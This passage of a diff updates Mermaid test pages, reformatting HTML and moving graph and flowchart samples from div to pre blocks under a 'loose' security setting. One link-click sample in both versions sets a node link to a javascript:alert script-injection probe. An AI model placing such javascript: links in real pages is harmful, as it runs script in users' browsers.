<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,26 +1,26 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h2>Data Flow Diagram Example</h2>
|
||||
<div class="mermaid">
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h2>Data Flow Diagram Example</h2>
|
||||
<pre class="mermaid">
|
||||
flowchart LR
|
||||
DataStore[|borders:tb|Database] -->|input| Process((System)) -->|output| Entity[Customer];
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h2>Borders Example</h2>
|
||||
<div class="mermaid">
|
||||
<h2>Borders Example</h2>
|
||||
<pre class="mermaid">
|
||||
flowchart TD
|
||||
allSides[ stroke all sides ];
|
||||
allSides2[|borders:ltrb| stroke all sides ];
|
||||
@@ -28,26 +28,26 @@
|
||||
ltSides[|borders:lt| stroke left and top sides ];
|
||||
lrSides[|borders:lr| stroke left and right sides ];
|
||||
noSide[|borders:no| stroke no side ];
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function testClick(nodeId) {
|
||||
console.log('clicked', nodeId);
|
||||
var originalBgColor = document.querySelector('body').style.backgroundColor;
|
||||
document.querySelector('body').style.backgroundColor = 'yellow';
|
||||
setTimeout(function () {
|
||||
document.querySelector('body').style.backgroundColor = originalBgColor;
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function testClick(nodeId) {
|
||||
console.log('clicked', nodeId);
|
||||
var originalBgColor = document.querySelector('body').style.backgroundColor;
|
||||
document.querySelector('body').style.backgroundColor = 'yellow';
|
||||
setTimeout(function () {
|
||||
document.querySelector('body').style.backgroundColor = originalBgColor;
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,45 +1,40 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
|
||||
<div class="mermaid">
|
||||
<body>
|
||||
<pre class="mermaid">
|
||||
erDiagram
|
||||
title This is a title
|
||||
accDescription Test a description
|
||||
CUSTOMER ||--o{ ORDER : places
|
||||
ORDER ||--|{ LINE-ITEM : contains
|
||||
CUSTOMER }|..|{ DELIVERY-ADDRESS : uses
|
||||
</div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,23 +1,23 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Flowchart Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Flowchart Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Comparison "graph vs. flowchart"</h1>
|
||||
<h2>Sample 1</h2>
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Comparison "graph vs. flowchart"</h1>
|
||||
<h2>Sample 1</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
sid-B3655226-6C29-4D00-B685-3D5C734DC7E1["
|
||||
|
||||
@@ -113,10 +113,10 @@
|
||||
sid-3E35A7FF-A2F4-4E07-9247-DBF884C81937-->sid-6C2120F3-D940-4958-A067-0903DCE879C4;
|
||||
sid-7CE72B24-E0C1-46D3-8132-8BA66BE05AA7-->sid-4DA958A0-26D9-4D47-93A7-70F39FD7D51A;
|
||||
sid-7CE72B24-E0C1-46D3-8132-8BA66BE05AA7-->sid-4FC27B48-A6F9-460A-A675-021F5854FE22;
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart LR
|
||||
sid-B3655226-6C29-4D00-B685-3D5C734DC7E1["
|
||||
|
||||
@@ -212,13 +212,13 @@
|
||||
sid-3E35A7FF-A2F4-4E07-9247-DBF884C81937-->sid-6C2120F3-D940-4958-A067-0903DCE879C4;
|
||||
sid-7CE72B24-E0C1-46D3-8132-8BA66BE05AA7-->sid-4DA958A0-26D9-4D47-93A7-70F39FD7D51A;
|
||||
sid-7CE72B24-E0C1-46D3-8132-8BA66BE05AA7-->sid-4FC27B48-A6F9-460A-A675-021F5854FE22;
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 2</h2>
|
||||
<hr />
|
||||
<h2>Sample 2</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
title What to buy
|
||||
accDescription Options of what to buy with Christmas money
|
||||
@@ -227,10 +227,10 @@
|
||||
C -->|One| D[Laptop]
|
||||
C -->|Two| E[iPhone]
|
||||
C -->|Three| F[Car]
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart TD
|
||||
title What to buy
|
||||
accDescription Options of what to buy with Christmas money
|
||||
@@ -239,13 +239,13 @@
|
||||
C -->|One| D[Laptop]
|
||||
C -->|Two| E[iPhone]
|
||||
C -->|Three| F[Car]
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 3</h2>
|
||||
<hr />
|
||||
<h2>Sample 3</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A[/Christmas\]
|
||||
A -->|Get money| B[\Go shopping/]
|
||||
@@ -253,10 +253,10 @@
|
||||
C -->|One| D[/Laptop/]
|
||||
C -->|Two| E[\iPhone\]
|
||||
C -->|Three| F[Car]
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart TD
|
||||
A[/Christmas\]
|
||||
A -->|Get money| B[\Go shopping/]
|
||||
@@ -264,13 +264,13 @@
|
||||
C -->|One| D[/Laptop/]
|
||||
C -->|Two| E[\iPhone\]
|
||||
C -->|Three| F[Car]
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 4</h2>
|
||||
<hr />
|
||||
<h2>Sample 4</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
47(SAM.CommonFA.FMESummary)-->48(SAM.CommonFA.CommonFAFinanceBudget)
|
||||
37(SAM.CommonFA.BudgetSubserviceLineVolume)-->48(SAM.CommonFA.CommonFAFinanceBudget)
|
||||
@@ -292,10 +292,10 @@
|
||||
39(SAM.CommonFA.ChargeDetails)-->40(SAM.CommonFA.OPVisits)
|
||||
35(SAM.CommonFA.PopulationFME)-->39(SAM.CommonFA.ChargeDetails)
|
||||
36(SAM.CommonFA.PremetricCost)-->39(SAM.CommonFA.ChargeDetails)
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart LR
|
||||
47(SAM.CommonFA.FMESummary)-->48(SAM.CommonFA.CommonFAFinanceBudget)
|
||||
37(SAM.CommonFA.BudgetSubserviceLineVolume)-->48(SAM.CommonFA.CommonFAFinanceBudget)
|
||||
@@ -317,13 +317,13 @@
|
||||
39(SAM.CommonFA.ChargeDetails)-->40(SAM.CommonFA.OPVisits)
|
||||
35(SAM.CommonFA.PopulationFME)-->39(SAM.CommonFA.ChargeDetails)
|
||||
36(SAM.CommonFA.PremetricCost)-->39(SAM.CommonFA.ChargeDetails)
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 5</h2>
|
||||
<hr />
|
||||
<h2>Sample 5</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
9e122290_1ec3_e711_8c5a_005056ad0002("fa:fa-creative-commons My System | Test Environment")
|
||||
82072290_1ec3_e711_8c5a_005056ad0002("fa:fa-cogs Shared Business Logic Server:Service 1")
|
||||
@@ -387,10 +387,10 @@
|
||||
c0102290_1ec3_e711_8c5a_005056ad0002-->71082290_1ec3_e711_8c5a_005056ad0002
|
||||
9a072290_1ec3_e711_8c5a_005056ad0002-->d6072290_1ec3_e711_8c5a_005056ad0002
|
||||
9a072290_1ec3_e711_8c5a_005056ad0002-->71082290_1ec3_e711_8c5a_005056ad0002
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart TD
|
||||
9e122290_1ec3_e711_8c5a_005056ad0002("fa:fa-creative-commons My System | Test Environment")
|
||||
82072290_1ec3_e711_8c5a_005056ad0002("fa:fa-cogs Shared Business Logic Server:Service 1")
|
||||
@@ -454,32 +454,32 @@
|
||||
c0102290_1ec3_e711_8c5a_005056ad0002-->71082290_1ec3_e711_8c5a_005056ad0002
|
||||
9a072290_1ec3_e711_8c5a_005056ad0002-->d6072290_1ec3_e711_8c5a_005056ad0002
|
||||
9a072290_1ec3_e711_8c5a_005056ad0002-->71082290_1ec3_e711_8c5a_005056ad0002
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 6</h2>
|
||||
<hr />
|
||||
<h2>Sample 6</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph TB
|
||||
subgraph One
|
||||
a1-->a2
|
||||
end
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart TB
|
||||
subgraph One
|
||||
a1-->a2
|
||||
end
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 7</h2>
|
||||
<hr />
|
||||
<h2>Sample 7</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph TB
|
||||
A
|
||||
B
|
||||
@@ -507,10 +507,10 @@
|
||||
|
||||
style foo fill:#F99,stroke-width:2px,stroke:#F0F,color:darkred
|
||||
style bar fill:#999,stroke-width:10px,stroke:#0F0,color:blue
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart TB
|
||||
A
|
||||
B
|
||||
@@ -538,13 +538,13 @@
|
||||
|
||||
style foo fill:#F99,stroke-width:2px,stroke:#F0F,color:darkred
|
||||
style bar fill:#999,stroke-width:10px,stroke:#0F0,color:blue
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 8</h2>
|
||||
<hr />
|
||||
<h2>Sample 8</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
456ac9b0d15a8b7f1e71073221059886[1051 AAA fa:fa-check]
|
||||
f7f580e11d00a75814d2ded41fe8e8fe[1141 BBB fa:fa-check]
|
||||
@@ -558,10 +558,10 @@
|
||||
click 81dc9bdb52d04dc20036dbd8313ed055 "/admin/user/view?id=1234" "CCC
|
||||
3000"
|
||||
style 456ac9b0d15a8b7f1e71073221059886 fill:#f9f,stroke:#333,stroke-width:4px
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart LR
|
||||
456ac9b0d15a8b7f1e71073221059886[1051 AAA fa:fa-check]
|
||||
f7f580e11d00a75814d2ded41fe8e8fe[1141 BBB fa:fa-check]
|
||||
@@ -575,13 +575,13 @@
|
||||
click 81dc9bdb52d04dc20036dbd8313ed055 "/admin/user/view?id=1234" "CCC
|
||||
3000"
|
||||
style 456ac9b0d15a8b7f1e71073221059886 fill:#f9f,stroke:#333,stroke-width:4px
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 9</h2>
|
||||
<hr />
|
||||
<h2>Sample 9</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{{Let me think...<br />Do I want something for work,<br />something to spend every free second with,<br />or something to get around?}}
|
||||
@@ -593,10 +593,10 @@
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{{Let me think...<br />Do I want something for work,<br />something to spend every free second with,<br />or something to get around?}}
|
||||
@@ -608,13 +608,13 @@
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 10</h2>
|
||||
<hr />
|
||||
<h2>Sample 10</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A([stadium shape test])
|
||||
A -->|Get money| B([Go shopping])
|
||||
@@ -627,10 +627,10 @@
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart TD
|
||||
A([stadium shape test])
|
||||
A -->|Get money| B([Go shopping])
|
||||
@@ -643,13 +643,13 @@
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 11</h2>
|
||||
<hr />
|
||||
<h2>Sample 11</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A[[subroutine shape test]]
|
||||
A -->|Get money| B[[Go shopping]]
|
||||
@@ -662,10 +662,10 @@
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart LR
|
||||
A[[subroutine shape test]]
|
||||
A -->|Get money| B[[Go shopping]]
|
||||
@@ -678,13 +678,13 @@
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 12</h2>
|
||||
<hr />
|
||||
<h2>Sample 12</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A[(cylindrical<br />shape<br />test)]
|
||||
A -->|Get money| B1[(Go shopping 1)]
|
||||
@@ -701,10 +701,10 @@
|
||||
click B testClick "click test"
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart LR
|
||||
A[(cylindrical<br />shape<br />test)]
|
||||
A -->|Get money| B1[(Go shopping 1)]
|
||||
@@ -721,13 +721,13 @@
|
||||
click B testClick "click test"
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 13</h2>
|
||||
<hr />
|
||||
<h2>Sample 13</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A1[Multi<br>Line] -->|Multi<br>Line| B1(Multi<br>Line)
|
||||
C1[Multi<br/>Line] -->|Multi<br/>Line| D1(Multi<br/>Line)
|
||||
@@ -738,10 +738,10 @@
|
||||
linkStyle 0 stroke:DarkGray,stroke-width:2px
|
||||
linkStyle 1 stroke:DarkGray,stroke-width:2px
|
||||
linkStyle 2 stroke:DarkGray,stroke-width:2px
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart LR
|
||||
A1[Multi<br>Line] -->|Multi<br>Line| B1(Multi<br>Line)
|
||||
C1[Multi<br/>Line] -->|Multi<br/>Line| D1(Multi<br/>Line)
|
||||
@@ -752,36 +752,36 @@
|
||||
linkStyle 0 stroke:DarkGray,stroke-width:2px
|
||||
linkStyle 1 stroke:DarkGray,stroke-width:2px
|
||||
linkStyle 2 stroke:DarkGray,stroke-width:2px
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 14</h2>
|
||||
<hr />
|
||||
<h2>Sample 14</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A(( )) -->|step 1| B(( ))
|
||||
B(( )) -->|step 2| C(( ))
|
||||
C(( )) -->|step 3| D(( ))
|
||||
linkStyle 1 stroke:greenyellow,stroke-width:2px
|
||||
style C fill:greenyellow,stroke:green,stroke-width:4px
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart LR
|
||||
A(( )) -->|step 1| B(( ))
|
||||
B(( )) -->|step 2| C(( ))
|
||||
C(( )) -->|step 3| D(( ))
|
||||
linkStyle 1 stroke:greenyellow,stroke-width:2px
|
||||
style C fill:greenyellow,stroke:green,stroke-width:4px
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 15</h2>
|
||||
<hr />
|
||||
<h2>Sample 15</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph TB
|
||||
TITLE["Link Click Events<br>(click the nodes below)"]
|
||||
A["link test (open in same tab)"]
|
||||
@@ -797,10 +797,10 @@
|
||||
click D "mailto:user@user.user" "mailto test"
|
||||
click E "notes://do-your-thing/id" "other protocol test"
|
||||
click F "javascript:alert('test')" "script test"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart TB
|
||||
TITLE["Link Click Events<br>(click the nodes below)"]
|
||||
A["link test (open in same tab)"]
|
||||
@@ -816,13 +816,13 @@
|
||||
click D "mailto:user@user.user" "mailto test"
|
||||
click E "notes://do-your-thing/id" "other protocol test"
|
||||
click F "javascript:alert('test')" "script test"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 16</h2>
|
||||
<hr />
|
||||
<h2>Sample 16</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A[red<br>text] -->|red<br>text| B(blue<br>text)
|
||||
C[/red<br/>text/] -->|blue<br/>text| D{blue<br/>text}
|
||||
@@ -836,10 +836,10 @@
|
||||
style D stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
click B "flowchart.html#link-clicked" "link test"
|
||||
click D testClick "click test"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart LR
|
||||
A[red<br>text] -->|red<br>text| B(blue<br>text)
|
||||
C[/red<br/>text/] -->|blue<br/>text| D{blue<br/>text}
|
||||
@@ -853,13 +853,13 @@
|
||||
style D stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
click B "flowchart.html#link-clicked" "link test"
|
||||
click D testClick "click test"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 17</h2>
|
||||
<hr />
|
||||
<h2>Sample 17</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A[myClass1] --> B[default] & C[default]
|
||||
B[default] & C[default] --> D[myClass2]
|
||||
@@ -869,10 +869,10 @@
|
||||
classDef myClass2 stroke:#0000ff,fill:#ccccff
|
||||
class A myClass1
|
||||
class D myClass2
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart TD
|
||||
A[myClass1] --> B[default] & C[default]
|
||||
B[default] & C[default] --> D[myClass2]
|
||||
@@ -882,13 +882,13 @@
|
||||
classDef myClass2 stroke:#0000ff,fill:#ccccff
|
||||
class A myClass1
|
||||
class D myClass2
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 18</h2>
|
||||
<hr />
|
||||
<h2>Sample 18</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A1[red text] -->|default style| A2[blue text]
|
||||
B1(red text) -->|default style| B2(blue text)
|
||||
@@ -933,10 +933,10 @@
|
||||
style L2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
style M2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
style N2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart LR
|
||||
A1[red text] <-->|default style| A2[blue text]
|
||||
B1(red text) <-->|default style| B2(blue text)
|
||||
@@ -981,13 +981,13 @@
|
||||
style L2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
style M2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
style N2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<h2>Sample 19</h2>
|
||||
<hr />
|
||||
<h2>Sample 19</h2>
|
||||
|
||||
<h3>graph</h3>
|
||||
<div class="mermaid">
|
||||
<h3>graph</h3>
|
||||
<pre class="mermaid">
|
||||
graph TB
|
||||
A1[red text] -->|default style| A2[blue text]
|
||||
B1(red text) -->|default style| B2(blue text)
|
||||
@@ -1032,10 +1032,10 @@
|
||||
style L2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
style M2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
style N2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<h3>flowchart</h3>
|
||||
<div class="mermaid">
|
||||
<h3>flowchart</h3>
|
||||
<pre class="mermaid">
|
||||
flowchart TB
|
||||
A1[red text] <-->|default style| A2[blue text]
|
||||
B1(red text) <-->|default style| B2(blue text)
|
||||
@@ -1083,30 +1083,30 @@
|
||||
style M2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
style N2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
style O2 stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr/>
|
||||
<hr />
|
||||
|
||||
<h1 id="link-clicked">Anchor for "link-clicked" test</h1>
|
||||
<h1 id="link-clicked">Anchor for "link-clicked" test</h1>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
